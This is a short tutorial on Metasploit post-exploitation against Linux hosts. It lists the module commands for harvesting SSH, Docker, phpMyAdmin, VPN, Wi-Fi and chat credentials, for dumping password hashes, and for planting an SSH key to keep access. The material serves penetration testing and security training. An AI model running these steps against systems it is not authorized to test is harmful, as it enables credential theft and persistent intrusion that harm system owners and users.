Post Exploitation with Metasploit

Credential Gathering

Once a system is compromised, gathering credentials is crucial for lateral movement and further exploitation.

Extracting SSH Credentials

use post/multi/gather/ssh_creds
set SESSION 1
run

This module extracts stored SSH credentials, which can be used to access other machines in the network.

Extracting Docker Credentials

use post/multi/gather/docker_creds
set SESSION 1
run

This command retrieves Docker authentication credentials, which may provide access to containerized applications and services.

Dumping Linux Password Hashes

use post/linux/gather/hashdump
set SESSION 1
set VERBOSE true
run

Hash dumping allows attackers to obtain user password hashes, which can be cracked offline using tools like Hashcat or John the Ripper.

Retrieving EcryptFS Credentials

use post/linux/gather/ecryptfs_creds
set SESSION 1
run

If the target system uses EcryptFS for encrypted directories, this module extracts the necessary keys.

Enumerating Wireless Pre-Shared Keys

use post/linux/gather/enum_psk
set SESSION 1
run

This module lists stored Wi-Fi passwords, which can be useful for network pivoting.

Extracting XChat Credentials

use post/linux/gather/enum_xchat
set SESSION 1
set XCHAT true
run

Attackers can use this module to extract credentials and chat logs from XChat, an IRC client.

Stealing phpMyAdmin Credentials

use post/linux/gather/phpmyadmin_credsteal
set SESSION 1
run

Many administrators use phpMyAdmin to manage databases. This module extracts stored credentials, allowing access to sensitive data.

Retrieving PPTP VPN Secrets

use post/linux/gather/pptpd_chap_secrets
set SESSION 1
run

This module collects credentials stored in the chap-secrets file, potentially giving an attacker access to VPN connections.

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2. Persistence

Maintaining access to a compromised system ensures an attacker can return even after a reboot or security patch.

SSH Key Persistence

use post/linux/manage/sshkey_persistence
set SESSION 1
run
set CREATESSHFOLDER true

This module installs an SSH key for persistent access, ensuring the attacker can log in even if passwords are changed.